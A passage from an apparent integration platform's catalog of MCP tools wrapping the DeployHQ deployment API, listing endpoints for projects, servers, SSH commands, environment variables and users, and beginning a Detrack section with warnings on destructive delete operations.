/api/v1/deployhq/projects/{project_id}/integrations/{id}. Scopes: api. deployhq_get_projects_by_project_id_language_versions (read) — Returns the language versions configured for this project's default build environment. DeployHQ GET /projects/{project_id}/language_versions. GET /api/v1/deployhq/projects/{project_id}/language_versions. Scopes: api. deployhq_get_projects_by_project_id_repository (read) — Returns the repository configuration for the specified project. DeployHQ GET /projects/{project_id}/repository. GET /api/v1/deployhq/projects/{project_id}/repository. Scopes: api. deployhq_get_projects_by_project_id_repository_branches (read) — Returns a map of branch names and their latest commit references for the project's repository. DeployHQ GET /projects/{project_id}/repository/branches. GET /api/v1/deployhq/projects/{project_id}/repository/branches. Scopes: api. deployhq_get_projects_by_project_id_repository_commit_info (read) — Returns detailed information about a specific commit including author, message, tags, and avatar URL. Queues a repository update if the commit is not found. DeployHQ GET /projects/{project_id}/repository/commit_info. GET /api/v1/deployhq/projects/{project_id}/repository/commit_info. Scopes: api. deployhq_get_projects_by_project_id_repository_latest_revision (read) — Returns the latest remote commit reference for the specified branch. DeployHQ GET /projects/{project_id}/repository/latest_revision. GET /api/v1/deployhq/projects/{project_id}/repository/latest_revision. Scopes: api. deployhq_get_projects_by_project_id_repository_recent_commits (read) — Returns recent commits and tags for the specified branch. Set update to '1' to fetch the latest data from the remote before returning results. Renders the data for the commit selector popup. DeployHQ GET /projects/{project_id}/repository/recent_commits. GET /api/v1/deployhq/projects/{project_id}/repository/recent_commits. Scopes: api. deployhq_get_projects_by_project_id_scheduled_deployments (read) — Returns all forthcoming scheduled deployments for the project, ordered ascending by scheduled time. DeployHQ GET /projects/{project_id}/scheduled_deployments. GET /api/v1/deployhq/projects/{project_id}/scheduled_deployments. Scopes: api. deployhq_get_projects_by_project_id_scheduled_deployments_by_id (read) — Returns the details of a single scheduled deployment. DeployHQ GET /projects/{project_id}/scheduled_deployments/{id}. GET /api/v1/deployhq/projects/{project_id}/scheduled_deployments/{id}. Scopes: api. deployhq_get_projects_by_project_id_server_groups (read) — Returns all server groups for the project, ordered ascending. DeployHQ GET /projects/{project_id}/server_groups. GET /api/v1/deployhq/projects/{project_id}/server_groups. Scopes: api. deployhq_get_projects_by_project_id_server_groups_by_id (read) — Returns the details of a single server group. DeployHQ GET /projects/{project_id}/server_groups/{id}. GET /api/v1/deployhq/projects/{project_id}/server_groups/{id}. Scopes: api. deployhq_get_projects_by_project_id_servers (read) — Returns all servers belonging to the specified project, including their agent associations. DeployHQ GET /projects/{project_id}/servers. GET /api/v1/deployhq/projects/{project_id}/servers. Scopes: api. deployhq_get_projects_by_project_id_servers_by_id (read) — Returns the full details of a single server including its connection configuration. Returns server details including provisioning state for managed protocols. For static_hosting servers the response includes a `static_hosting` block (status, url). DeployHQ GET /projects/{project_id}/servers/{id}. GET /api/v1/deployhq/projects/{project_id}/servers/{id}. Scopes: api. deployhq_get_projects_by_project_id_servers_by_id_server_metrics (read) — Returns real-time server metrics (CPU, memory, disk, uptime) collected over SSH. Requires beta features and an SSH-capable server. DeployHQ GET /projects/{project_id}/servers/{id}/server_metrics. GET /api/v1/deployhq/projects/{project_id}/servers/{id}/server_metrics. Scopes: api. deployhq_get_projects_by_project_id_ssh_commands (read) — Returns all SSH commands configured for the project, ordered ascending. SSH commands run on target servers before or after deployment. DeployHQ GET /projects/{project_id}/ssh_commands. GET /api/v1/deployhq/projects/{project_id}/ssh_commands. Scopes: api. deployhq_get_projects_by_project_id_ssh_commands_by_id (read) — Returns details of a specific SSH command, including its timing, target servers, and error handling settings. DeployHQ GET /projects/{project_id}/ssh_commands/{id}. GET /api/v1/deployhq/projects/{project_id}/ssh_commands/{id}. Scopes: api. deployhq_get_projects_by_project_id_test_access_by_id (read) — Returns the current status and results of a test access run. DeployHQ GET /projects/{project_id}/test_access/{id}. GET /api/v1/deployhq/projects/{project_id}/test_access/{id}. Scopes: api. deployhq_get_ssh_keys (read) — List all SSH keys. DeployHQ GET /ssh_keys. GET /api/v1/deployhq/ssh_keys. Scopes: api. deployhq_get_ssh_keys_by_id_download_private_key (read) — Download private key. DeployHQ GET /ssh_keys/{id}/download_private_key. GET /api/v1/deployhq/ssh_keys/{id}/download_private_key. Scopes: api. deployhq_get_teams (read) — Returns all teams in the account. DeployHQ GET /teams. GET /api/v1/deployhq/teams. Scopes: api. deployhq_get_teams_by_id (read) — Returns details for a specific team. DeployHQ GET /teams/{id}. GET /api/v1/deployhq/teams/{id}. Scopes: api. deployhq_get_templates (read) — Returns all private templates belonging to the current account. DeployHQ GET /templates. GET /api/v1/deployhq/templates. Scopes: api. deployhq_get_templates_by_id_public_by_id (read) — Returns the full details of a single public template by its permalink. DeployHQ GET /templates/{id}/public/{id}. GET /api/v1/deployhq/templates/{id}/public. Scopes: api. deployhq_get_templates_public_templates (read) — Returns publicly available templates, optionally filtered by framework type. DeployHQ GET /templates/public_templates. GET /api/v1/deployhq/templates/public_templates. Scopes: api. deployhq_get_users (read) — Returns all users in the account. DeployHQ GET /users. GET /api/v1/deployhq/users. Scopes: api. deployhq_get_users_by_id (read) — Returns details for a specific user. DeployHQ GET /users/{id}. GET /api/v1/deployhq/users/{id}. Scopes: api. deployhq_get_zones (read) — Returns all available deployment zones. Maintenance zones are only visible to admin users. DeployHQ GET /zones. GET /api/v1/deployhq/zones. Scopes: api. deployhq_patch_account (write) — Updates account settings. Only account administrators can perform this action. DeployHQ PATCH /account. PATCH /api/v1/deployhq/account. Scopes: api. deployhq_patch_agents_by_id (write) — Updates the name of an existing network agent. DeployHQ PATCH /agents/{id}. PATCH /api/v1/deployhq/agents/{id}. Scopes: api. deployhq_patch_folders_by_id (write) — Renames a folder. DeployHQ PATCH /folders/{id}. PATCH /api/v1/deployhq/folders/{id}. Scopes: api. deployhq_patch_global_build_commands_by_id (write) — Update global build command. DeployHQ PATCH /global_build_commands/{id}. PATCH /api/v1/deployhq/global_build_commands/{id}. Scopes: api. deployhq_patch_global_config_files_by_id (write) — Update global config file. DeployHQ PATCH /global_config_files/{id}. PATCH /api/v1/deployhq/global_config_files/{id}. Scopes: api. deployhq_patch_global_environment_variables_by_id (write) — Updates an existing global environment variable's name, value, or locked status. DeployHQ PATCH /global_environment_variables/{id}. PATCH /api/v1/deployhq/global_environment_variables/{id}. Scopes: api. deployhq_patch_global_servers_by_id (write) — Update a global server. DeployHQ PATCH /global_servers/{id}. PATCH /api/v1/deployhq/global_servers/{id}. Scopes: api. deployhq_patch_global_ssh_commands_by_id (write) — Update global ssh command. DeployHQ PATCH /global_ssh_commands/{id}. PATCH /api/v1/deployhq/global_ssh_commands/{id}. Scopes: api. deployhq_patch_profile (write) — Updates the authenticated user's profile settings. DeployHQ PATCH /profile. PATCH /api/v1/deployhq/profile. Scopes: api. deployhq_patch_projects_by_id (write) — Updates the project's settings such as name, notification preferences, zone, and permalink. DeployHQ PATCH /projects/{id}. PATCH /api/v1/deployhq/projects/{id}. Scopes: api. deployhq_patch_projects_by_id_regenerate_key (write) — Regenerates the project SSH key and returns the new public key. key_type is optional and defaults to the existing project's algorithm; must be one of ED25519 or RSA when provided. DeployHQ PATCH /projects/{id}/regenerate_key. PATCH /api/v1/deployhq/projects/{id}/regenerate_key. Scopes: api. deployhq_patch_projects_by_id_upload_key (write) — Uploads a custom SSH private key for the project and returns the corresponding public key. DeployHQ PATCH /projects/{id}/upload_key. PATCH /api/v1/deployhq/projects/{id}/upload_key. Scopes: api. deployhq_patch_projects_by_project_id_build_cache_files_by_id (write) — Updates the path of an existing build cache file entry. DeployHQ PATCH /projects/{project_id}/build_cache_files/{id}. PATCH /api/v1/deployhq/projects/{project_id}/build_cache_files/{id}. Scopes: api. deployhq_patch_projects_by_project_id_build_commands_by_id (write) — Updates an existing build command's properties such as the command string, description, or error handling behavior. DeployHQ PATCH /projects/{project_id}/build_commands/{id}. PATCH /api/v1/deployhq/projects/{project_id}/build_commands/{id}. Scopes: api. deployhq_patch_projects_by_project_id_build_configurations_by_id (write) — Updates which servers a build configuration override targets. Only the target server assignment can be changed here; language versions are set with the Language Versions endpoint. Send server_identifiers listing the servers the override applies to. An override with no target servers does not apply to any server. DeployHQ PATCH /projects/{project_id}/build_configurations/{id}. PATCH /api/v1/deployhq/projects/{project_id}/build_configurations/{id}. Scopes: api. deployhq_patch_projects_by_project_id_build_configurations_by_override_build_configuration_id_build_languages_by_id (write) — Sets the version of a specific language or runtime package for the project's build environment. Optionally targets a specific build configuration override. DeployHQ PATCH /projects/{project_id}/build_configurations/{override_build_configuration_id}/build_languages/{id}. PATCH /api/v1/deployhq/projects/{project_id}/build_configurations/{override_build_configuration_id}/build_languages/{id}. Scopes: api. deployhq_patch_projects_by_project_id_build_languages_by_id (write) — Sets the version of a specific language or runtime package for the project's build environment. Optionally targets a specific build configuration override. DeployHQ PATCH /projects/{project_id}/build_languages/{id}. PATCH /api/v1/deployhq/projects/{project_id}/build_languages/{id}. Scopes: api. deployhq_patch_projects_by_project_id_commands_by_id (write) — Updates an existing SSH command's properties. Server assignments are only modified when server parameters are explicitly provided. DeployHQ PATCH /projects/{project_id}/commands/{id}. PATCH /api/v1/deployhq/projects/{project_id}/commands/{id}. Scopes: api. deployhq_patch_projects_by_project_id_config_files_by_id (write) — Updates an existing configuration file's path, content, server assignments, or other properties. DeployHQ PATCH /projects/{project_id}/config_files/{id}. PATCH /api/v1/deployhq/projects/{project_id}/config_files/{id}. Scopes: api. deployhq_patch_projects_by_project_id_deployment_checks_by_id (write) — Updates an existing deployment check. Same payload shape as create — any field can be sent on its own (PATCH semantics: missing keys leave existing values untouched). DeployHQ PATCH /projects/{project_id}/deployment_checks/{id}. PATCH /api/v1/deployhq/projects/{project_id}/deployment_checks/{id}. Scopes: api. deployhq_patch_projects_by_project_id_environment_variables_by_id (write) — Updates an existing environment variable's name, value, or settings. Server assignments are only modified when server parameters are explicitly provided. DeployHQ PATCH /projects/{project_id}/environment_variables/{id}. PATCH /api/v1/deployhq/projects/{project_id}/environment_variables/{id}. Scopes: api. deployhq_patch_projects_by_project_id_excluded_files_by_id (write) — Updates the path of an existing excluded file entry. DeployHQ PATCH /projects/{project_id}/excluded_files/{id}. PATCH /api/v1/deployhq/projects/{project_id}/excluded_files/{id}. Scopes: api. deployhq_patch_projects_by_project_id_integrations_by_id (write) — Updates an existing integration's settings. The hook_type cannot be changed via the API. DeployHQ PATCH /projects/{project_id}/integrations/{id}. PATCH /api/v1/deployhq/projects/{project_id}/integrations/{id}. Scopes: api. deployhq_patch_projects_by_project_id_repository (write) — Updates the repository's branch, root path, or hosting service type without replacing the entire repository configuration. DeployHQ PATCH /projects/{project_id}/repository. PATCH /api/v1/deployhq/projects/{project_id}/repository. Scopes: api. deployhq_patch_projects_by_project_id_scheduled_deployments_by_id (write) — Updates an existing scheduled deployment. DeployHQ PATCH /projects/{project_id}/scheduled_deployments/{id}. PATCH /api/v1/deployhq/projects/{project_id}/scheduled_deployments/{id}. Scopes: api. deployhq_patch_projects_by_project_id_server_groups_by_id (write) — Updates an existing server group's settings such as name, branch, or transfer order. DeployHQ PATCH /projects/{project_id}/server_groups/{id}. PATCH /api/v1/deployhq/projects/{project_id}/server_groups/{id}. Scopes: api. deployhq_patch_projects_by_project_id_servers_by_id (write) — Updates an existing server's configuration. If the server uses external authentication and is not yet authenticated, a redirect to the OAuth URL is returned. DeployHQ PATCH /projects/{project_id}/servers/{id}. PATCH /api/v1/deployhq/projects/{project_id}/servers/{id}. Scopes: api. deployhq_patch_projects_by_project_id_ssh_commands_by_id (write) — Updates an existing SSH command's properties. Server assignments are only modified when server parameters are explicitly provided. DeployHQ PATCH /projects/{project_id}/ssh_commands/{id}. PATCH /api/v1/deployhq/projects/{project_id}/ssh_commands/{id}. Scopes: api. deployhq_patch_teams_by_id (write) — Updates an existing team. DeployHQ PATCH /teams/{id}. PATCH /api/v1/deployhq/teams/{id}. Scopes: api. deployhq_patch_templates_by_id (write) — Updates an existing template's name or description. DeployHQ PATCH /templates/{id}. PATCH /api/v1/deployhq/templates/{id}. Scopes: api. deployhq_patch_users_by_id (write) — Updates an existing user's details and permissions. Only account administrators can change permission flags. DeployHQ PATCH /users/{id}. PATCH /api/v1/deployhq/users/{id}. Scopes: api. deployhq_post_agents (write) — Claims an unclaimed network agent using its claim code and registers it to the current account. DeployHQ POST /agents. POST /api/v1/deployhq/agents. Scopes: api. deployhq_post_agents_by_id_revoke (write) — Revokes the agent's claim, releasing it from the account so it can be reclaimed. DeployHQ POST /agents/{id}/revoke. POST /api/v1/deployhq/agents/{id}/revoke. Scopes: api. deployhq_post_beta_enrollments (write) — Enroll the current account in the managed-resources beta. DeployHQ POST /beta/enrollments. POST /api/v1/deployhq/beta/enrollments. Scopes: api. deployhq_post_detection (write) — Detects the project's framework/stack from an uploaded filename listing plus the contents of key manifest files. DeployHQ POST /detection. POST /api/v1/deployhq/detection. Scopes: api. deployhq_post_folders (write) — Creates a new folder in the account. DeployHQ POST /folders. POST /api/v1/deployhq/folders. Scopes: api. deployhq_post_global_build_commands (write) — Create new global build command. DeployHQ POST /global_build_commands. POST /api/v1/deployhq/global_build_commands. Scopes: api. deployhq_post_global_config_files (write) — Create new global config file. DeployHQ POST /global_config_files. POST /api/v1/deployhq/global_config_files. Scopes: api. deployhq_post_global_environment_variables (write) — Creates a new account-level environment variable. Locked variables cannot be read back after creation. DeployHQ POST /global_environment_variables. POST /api/v1/deployhq/global_environment_variables. Scopes: api. deployhq_post_global_servers (write) — Create a global server. DeployHQ POST /global_servers. POST /api/v1/deployhq/global_servers. Scopes: api. deployhq_post_global_servers_by_id_copy_to_project (write) — Copy a global server to a project. DeployHQ POST /global_servers/{id}/copy_to_project. POST /api/v1/deployhq/global_servers/{id}/copy_to_project. Scopes: api. deployhq_post_global_ssh_commands (write) — Create new global ssh command. DeployHQ POST /global_ssh_commands. POST /api/v1/deployhq/global_ssh_commands. Scopes: api. deployhq_post_hosted_resources_by_id_retry_provision (write) — Retries provisioning for a hosted resource that is in an error state. Resets the status to provisioning and enqueues a new provision job. DeployHQ POST /hosted_resources/{id}/retry_provision. POST /api/v1/deployhq/hosted_resources/{id}/retry_provision. Scopes: api. deployhq_post_hosted_resources_by_id_sync (write) — Sync a hosted resource. DeployHQ POST /hosted_resources/{id}/sync. POST /api/v1/deployhq/hosted_resources/{id}/sync. Scopes: api. deployhq_post_projects (write) — Creates a new project in the account. Optionally applies a template to pre-populate servers, config files, and other settings. DeployHQ POST /projects. POST /api/v1/deployhq/projects. Scopes: api. deployhq_post_projects_by_id_ai_deployment_overview (write) — Generates an AI-powered summary of changes between two revisions based on commit messages. Requires a configured and cloned repository. DeployHQ POST /projects/{id}/ai_deployment_overview. POST /api/v1/deployhq/projects/{id}/ai_deployment_overview. Scopes: api. deployhq_post_projects_by_id_star (write) — Toggles the starred status of a project for the current user. Starred projects appear prioritized in listings. DeployHQ POST /projects/{id}/star. POST /api/v1/deployhq/projects/{id}/star. Scopes: api. deployhq_post_projects_by_project_id_auto_deployments (write) — Enables or disables automatic deployments for individual servers and server groups. Unrecognized identifiers are skipped and reported in the response. DeployHQ POST /projects/{project_id}/auto_deployments. POST /api/v1/deployhq/projects/{project_id}/auto_deployments. Scopes: api. deployhq_post_projects_by_project_id_build_cache_files (write) — Creates a new build cache file entry for the project. Build cache files persist between builds to speed up subsequent build runs. DeployHQ POST /projects/{project_id}/build_cache_files. POST /api/v1/deployhq/projects/{project_id}/build_cache_files. Scopes: api. deployhq_post_projects_by_project_id_build_commands (write) — Adds a new build command to the project's build pipeline. Commands execute in order during the build phase. DeployHQ POST /projects/{project_id}/build_commands. POST /api/v1/deployhq/projects/{project_id}/build_commands. Scopes: api. deployhq_post_projects_by_project_id_build_commands_link_global (write) — Links an account-level global build command to this project so it runs during the build pipeline. DeployHQ POST /projects/{project_id}/build_commands/link_global. POST /api/v1/deployhq/projects/{project_id}/build_commands/link_global. Scopes: api. deployhq_post_projects_by_project_id_build_configurations (write) — Creates a new, empty non-default build environment override. No attributes are read from the request body; the override is returned with no target servers and no language versions set. Assign target servers with the update endpoint, and set language versions with the Language Versions endpoint. DeployHQ POST /projects/{project_id}/build_configurations. POST /api/v1/deployhq/projects/{project_id}/build_configurations. Scopes: api. deployhq_post_projects_by_project_id_build_known_hosts (write) — Adds an SSH known host entry so the build server can connect to the specified hostname without host key verification prompts. DeployHQ POST /projects/{project_id}/build_known_hosts. POST /api/v1/deployhq/projects/{project_id}/build_known_hosts. Scopes: api. deployhq_post_projects_by_project_id_commands (write) — Creates a new SSH command for the project. Commands can be configured to run before or after deployment on specified servers. DeployHQ POST /projects/{project_id}/commands. POST /api/v1/deployhq/projects/{project_id}/commands. Scopes: api. deployhq_post_projects_by_project_id_commands_link_global (write) — Links an account-level global SSH command to this project so it runs during deployments. DeployHQ POST /projects/{project_id}/commands/link_global. POST /api/v1/deployhq/projects/{project_id}/commands/link_global. Scopes: api. deployhq_post_projects_by_project_id_config_files (write) — Creates a new configuration file for the project. The file will be deployed to the specified path on target servers during each deployment. DeployHQ POST /projects/{project_id}/config_files. POST /api/v1/deployhq/projects/{project_id}/config_files. Scopes: api. deployhq_post_projects_by_project_id_deployment_checks (write) — Creates a new deployment check on the project. A check has a stage (pre_build or post_deploy) and a check_type (ssh, http, or vulnerability_scan). DeployHQ POST /projects/{project_id}/deployment_checks. POST /api/v1/deployhq/projects/{project_id}/deployment_checks. Scopes: api. deployhq_post_projects_by_project_id_deployments (write) — Creates a new deployment for the project. Set mode to 'queue' to execute immediately or 'preview' to generate a preview of changes without deploying. If a schedule block is provided, the deployment is scheduled for future or recurring execution. Use parent_identifier to target a specific server or server group. DeployHQ POST /projects/{project_id}/deployments. POST /api/v1/deployhq/projects/{project_id}/deployments. Scopes: api. deployhq_post_projects_by_project_id_deployments_by_id_abort (write) — Immediately aborts a deployment that is currently in progress. DeployHQ POST /projects/{project_id}/deployments/{id}/abort. POST /api/v1/deployhq/projects/{project_id}/deployments/{id}/abort. Scopes: api. deployhq_post_projects_by_project_id_deployments_by_id_retry (write) — Retries a failed deployment by resetting it and re-queuing. Only deployments that have completed (successfully or with failure) can be retried. DeployHQ POST /projects/{project_id}/deployments/{id}/retry. POST /api/v1/deployhq/projects/{project_id}/deployments/{id}/retry. Scopes: api. deployhq_post_projects_by_project_id_deployments_by_id_rollback (write) — Creates a new deployment that reverts the project to the state of the specified deployment. Archived deployments cannot be rolled back. DeployHQ POST /projects/{project_id}/deployments/{id}/rollback. POST /api/v1/deployhq/projects/{project_id}/deployments/{id}/rollback. Scopes: api. deployhq_post_projects_by_project_id_environment_variables (write) — Creates a new environment variable for the project. Variables can be locked to prevent value visibility and scoped to the build pipeline. DeployHQ POST /projects/{project_id}/environment_variables. POST /api/v1/deployhq/projects/{project_id}/environment_variables. Scopes: api. deployhq_post_projects_by_project_id_excluded_files (write) — Adds a file path to the project's exclusion list so it is skipped during deployments. DeployHQ POST /projects/{project_id}/excluded_files. POST /api/v1/deployhq/projects/{project_id}/excluded_files. Scopes: api. deployhq_post_projects_by_project_id_integrations (write) — Creates a new integration for the project. Only certain hook types are allowed via the API. DeployHQ POST /projects/{project_id}/integrations. POST /api/v1/deployhq/projects/{project_id}/integrations. Scopes: api. deployhq_post_projects_by_project_id_repository (write) — Replaces the project's repository configuration. Any existing repository is destroyed and a new one is created with the provided settings. DeployHQ POST /projects/{project_id}/repository. POST /api/v1/deployhq/projects/{project_id}/repository. Scopes: api. deployhq_post_projects_by_project_id_scheduled_deployments (write) — Creates a new scheduled deployment for the project. DeployHQ POST /projects/{project_id}/scheduled_deployments. POST /api/v1/deployhq/projects/{project_id}/scheduled_deployments. Scopes: api. deployhq_post_projects_by_project_id_server_groups (write) — Creates a new server group for the project to organize servers and control deployment order. DeployHQ POST /projects/{project_id}/server_groups. POST /api/v1/deployhq/projects/{project_id}/server_groups. Scopes: api. deployhq_post_projects_by_project_id_servers (write) — Creates a new server in the project. The protocol_type determines which additional connection parameters are required: SSH needs hostname and username, FTP needs hostname, username, and password, S3 needs bucket_name, access_key_id, and secret_access_key. DeployHQ POST /projects/{project_id}/servers. POST /api/v1/deployhq/projects/{project_id}/servers. Scopes: api. deployhq_post_projects_by_project_id_servers_by_id_reset_host_key (write) — Clears the stored SSH host key for the server, allowing it to accept a new key on the next connection. DeployHQ POST /projects/{project_id}/servers/{id}/reset_host_key. POST /api/v1/deployhq/projects/{project_id}/servers/{id}/reset_host_key. Scopes: api. deployhq_post_projects_by_project_id_servers_by_server_id_test_access (write) — Triggers a test access run for the project. Tests repository connectivity and all server connections. If a server_id is provided (via nested route), only that server is tested. DeployHQ POST /projects/{project_id}/servers/{server_id}/test_access. POST /api/v1/deployhq/projects/{project_id}/servers/{server_id}/test_access. Scopes: api. deployhq_post_projects_by_project_id_ssh_commands (write) — Creates a new SSH command for the project. Commands can be configured to run before or after deployment on specified servers. DeployHQ POST /projects/{project_id}/ssh_commands. POST /api/v1/deployhq/projects/{project_id}/ssh_commands. Scopes: api. deployhq_post_projects_by_project_id_test_access (write) — Triggers a test access run for the project. Tests repository connectivity and all server connections. If a server_id is provided (via nested route), only that server is tested. DeployHQ POST /projects/{project_id}/test_access. POST /api/v1/deployhq/projects/{project_id}/test_access. Scopes: api. deployhq_post_reset (write) — Initiates a password reset for the given email address. No authentication required. DeployHQ POST /reset. POST /api/v1/deployhq/reset. Scopes: api. deployhq_post_security_api_keys (write) — Creates a new API key for the authenticated user. The full key value is only returned once in this response. DeployHQ POST /security/api_keys. POST /api/v1/deployhq/security/api_keys. Scopes: api. deployhq_post_ssh_keys (write) — Create an SSH key. DeployHQ POST /ssh_keys. POST /api/v1/deployhq/ssh_keys. Scopes: api. deployhq_post_teams (write) — Creates a new team. DeployHQ POST /teams. POST /api/v1/deployhq/teams. Scopes: api. deployhq_post_templates (write) — Creates a new template, optionally copying configuration from an existing project. DeployHQ POST /templates. POST /api/v1/deployhq/templates. Scopes: api. deployhq_post_users (write) — Invites a new user to the account. Sends an invitation email. DeployHQ POST /users. POST /api/v1/deployhq/users. Scopes: api. deployhq_post_users_by_id_resend_invitation (write) — Resends the invitation email for a user who has not yet activated their account. DeployHQ POST /users/{id}/resend_invitation. POST /api/v1/deployhq/users/{id}/resend_invitation. Scopes: api. deployhq_put_account (write) — Updates account settings. Only account administrators can perform this action. DeployHQ PUT /account. PUT /api/v1/deployhq/account. Scopes: api. deployhq_put_agents_by_id (write) — Updates the name of an existing network agent. DeployHQ PUT /agents/{id}. PUT /api/v1/deployhq/agents/{id}. Scopes: api. deployhq_put_folders_by_id (write) — Renames a folder. DeployHQ PUT /folders/{id}. PUT /api/v1/deployhq/folders/{id}. Scopes: api. deployhq_put_global_build_commands_by_id (write) — Update global build command. DeployHQ PUT /global_build_commands/{id}. PUT /api/v1/deployhq/global_build_commands/{id}. Scopes: api. deployhq_put_global_config_files_by_id (write) — Update global config file. DeployHQ PUT /global_config_files/{id}. PUT /api/v1/deployhq/global_config_files/{id}. Scopes: api. deployhq_put_global_environment_variables_by_id (write) — Updates an existing global environment variable's name, value, or locked status. DeployHQ PUT /global_environment_variables/{id}. PUT /api/v1/deployhq/global_environment_variables/{id}. Scopes: api. deployhq_put_global_servers_by_id (write) — Update a global server. DeployHQ PUT /global_servers/{id}. PUT /api/v1/deployhq/global_servers/{id}. Scopes: api. deployhq_put_global_ssh_commands_by_id (write) — Update global ssh command. DeployHQ PUT /global_ssh_commands/{id}. PUT /api/v1/deployhq/global_ssh_commands/{id}. Scopes: api. deployhq_put_profile (write) — Updates the authenticated user's profile settings. DeployHQ PUT /profile. PUT /api/v1/deployhq/profile. Scopes: api. deployhq_put_projects_by_id (write) — Updates the project's settings such as name, notification preferences, zone, and permalink. DeployHQ PUT /projects/{id}. PUT /api/v1/deployhq/projects/{id}. Scopes: api. deployhq_put_projects_by_project_id_build_cache_files_by_id (write) — Updates the path of an existing build cache file entry. DeployHQ PUT /projects/{project_id}/build_cache_files/{id}. PUT /api/v1/deployhq/projects/{project_id}/build_cache_files/{id}. Scopes: api. deployhq_put_projects_by_project_id_build_commands_by_id (write) — Updates an existing build command's properties such as the command string, description, or error handling behavior. DeployHQ PUT /projects/{project_id}/build_commands/{id}. PUT /api/v1/deployhq/projects/{project_id}/build_commands/{id}. Scopes: api. deployhq_put_projects_by_project_id_build_configurations_by_id (write) — Updates which servers a build configuration override targets. Only the target server assignment can be changed here; language versions are set with the Language Versions endpoint. Send server_identifiers listing the servers the override applies to. An override with no target servers does not apply to any server. DeployHQ PUT /projects/{project_id}/build_configurations/{id}. PUT /api/v1/deployhq/projects/{project_id}/build_configurations/{id}. Scopes: api. deployhq_put_projects_by_project_id_build_configurations_by_override_build_configuration_id_build_languages_by_id (write) — Sets the version of a specific language or runtime package for the project's build environment. Optionally targets a specific build configuration override. DeployHQ PUT /projects/{project_id}/build_configurations/{override_build_configuration_id}/build_languages/{id}. PUT /api/v1/deployhq/projects/{project_id}/build_configurations/{override_build_configuration_id}/build_languages/{id}. Scopes: api. deployhq_put_projects_by_project_id_build_languages_by_id (write) — Sets the version of a specific language or runtime package for the project's build environment. Optionally targets a specific build configuration override. DeployHQ PUT /projects/{project_id}/build_languages/{id}. PUT /api/v1/deployhq/projects/{project_id}/build_languages/{id}. Scopes: api. deployhq_put_projects_by_project_id_commands_by_id (write) — Updates an existing SSH command's properties. Server assignments are only modified when server parameters are explicitly provided. DeployHQ PUT /projects/{project_id}/commands/{id}. PUT /api/v1/deployhq/projects/{project_id}/commands/{id}. Scopes: api. deployhq_put_projects_by_project_id_config_files_by_id (write) — Updates an existing configuration file's path, content, server assignments, or other properties. DeployHQ PUT /projects/{project_id}/config_files/{id}. PUT /api/v1/deployhq/projects/{project_id}/config_files/{id}. Scopes: api. deployhq_put_projects_by_project_id_deployment_checks_by_id (write) — Updates an existing deployment check. Same payload shape as create — any field can be sent on its own (PATCH semantics: missing keys leave existing values untouched). DeployHQ PUT /projects/{project_id}/deployment_checks/{id}. PUT /api/v1/deployhq/projects/{project_id}/deployment_checks/{id}. Scopes: api. deployhq_put_projects_by_project_id_environment_variables_by_id (write) — Updates an existing environment variable's name, value, or settings. Server assignments are only modified when server parameters are explicitly provided. DeployHQ PUT /projects/{project_id}/environment_variables/{id}. PUT /api/v1/deployhq/projects/{project_id}/environment_variables/{id}. Scopes: api. deployhq_put_projects_by_project_id_excluded_files_by_id (write) — Updates the path of an existing excluded file entry. DeployHQ PUT /projects/{project_id}/excluded_files/{id}. PUT /api/v1/deployhq/projects/{project_id}/excluded_files/{id}. Scopes: api. deployhq_put_projects_by_project_id_integrations_by_id (write) — Updates an existing integration's settings. The hook_type cannot be changed via the API. DeployHQ PUT /projects/{project_id}/integrations/{id}. PUT /api/v1/deployhq/projects/{project_id}/integrations/{id}. Scopes: api. deployhq_put_projects_by_project_id_repository (write) — Updates the repository's branch, root path, or hosting service type without replacing the entire repository configuration. DeployHQ PUT /projects/{project_id}/repository. PUT /api/v1/deployhq/projects/{project_id}/repository. Scopes: api. deployhq_put_projects_by_project_id_scheduled_deployments_by_id (write) — Updates an existing scheduled deployment. DeployHQ PUT /projects/{project_id}/scheduled_deployments/{id}. PUT /api/v1/deployhq/projects/{project_id}/scheduled_deployments/{id}. Scopes: api. deployhq_put_projects_by_project_id_server_groups_by_id (write) — Updates an existing server group's settings such as name, branch, or transfer order. DeployHQ PUT /projects/{project_id}/server_groups/{id}. PUT /api/v1/deployhq/projects/{project_id}/server_groups/{id}. Scopes: api. deployhq_put_projects_by_project_id_servers_by_id (write) — Updates an existing server's configuration. If the server uses external authentication and is not yet authenticated, a redirect to the OAuth URL is returned. DeployHQ PUT /projects/{project_id}/servers/{id}. PUT /api/v1/deployhq/projects/{project_id}/servers/{id}. Scopes: api. deployhq_put_projects_by_project_id_ssh_commands_by_id (write) — Updates an existing SSH command's properties. Server assignments are only modified when server parameters are explicitly provided. DeployHQ PUT /projects/{project_id}/ssh_commands/{id}. PUT /api/v1/deployhq/projects/{project_id}/ssh_commands/{id}. Scopes: api. deployhq_put_teams_by_id (write) — Updates an existing team. DeployHQ PUT /teams/{id}. PUT /api/v1/deployhq/teams/{id}. Scopes: api. deployhq_put_templates_by_id (write) — Updates an existing template's name or description. DeployHQ PUT /templates/{id}. PUT /api/v1/deployhq/templates/{id}. Scopes: api. deployhq_put_users_by_id (write) — Updates an existing user's details and permissions. Only account administrators can change permission flags. DeployHQ PUT /users/{id}. PUT /api/v1/deployhq/users/{id}. Scopes: api. ================================================================================ ## Detrack URL: https://www.agenticfabriq.com/integrations/detrack Section: Integrated Tools Detrack — 25 MCP tools Provider key: detrack. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. detrack_delete_dn_depots (write, destructive) — Bulk delete depots via DELETE /dn/depots. DESTRUCTIVE AND IRREVERSIBLE: permanently delete the depots you name. This tool takes a REQUIRED, non-empty `depots` array -- one entry per depot, `name` required -- and there is deliberately no way to express a call that names no depot: Detrack's route is addressed at the whole collection and only the body narrows it. Detrack answers 200 with a per-depot `deleted` flag, so a partial success is normal and must be read entry by entry. Deleting a depot a planned route starts or ends at leaves that route pointing at something that no longer exists, so check the routes for the affected dates first. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. DELETE /api/v1/detrack/dn/depots. Scopes: api. detrack_delete_dn_jobs (write, destructive) — Batch delete 